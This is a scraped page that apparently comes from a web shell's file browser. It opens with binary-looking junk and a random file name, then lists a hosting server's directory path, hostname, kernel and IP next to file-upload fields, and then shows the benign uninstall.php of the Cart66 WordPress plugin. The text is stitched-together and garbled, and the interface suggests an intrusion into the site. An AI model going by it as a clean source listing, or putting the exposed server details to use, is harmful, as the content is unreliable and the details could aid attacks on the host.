PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/trave494/seoshop.live/wp-content/plugins/cart66/
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
IP: 209.182.202.254
Choose File :

Url:
Dir : //home/trave494/seoshop.live/wp-content/plugins/cart66/uninstall.php

<?php
global $wpdb;

if( !defined('ABSPATH') && !defined('WP_UNINSTALL_PLUGIN') )
  exit();

define("CART66_PATH", plugin_dir_path( __FILE__ ) ); // e.g. /var/www/example.com/wordpress/wp-content/plugins/cart66
require_once(CART66_PATH . "/models/Cart66Common.php");
require_once(CART66_PATH . "/models/Cart66Setting.php");

if(Cart66Setting::getValue('uninstall_db')) {
  global $wpdb;
  $prefix = $wpdb->prefix . "cart66_";
  $sqlFile = dirname( __FILE__ ) . "/sql/uninstall.sql";
  $sql = str_replace('[prefix]', $prefix, file_get_contents($sqlFile));
  $queries = explode(";\n", $sql);
  foreach($queries as $sql) {
    if(strlen($sql) > 5) {
      $wpdb->query($sql);
    }
  }
}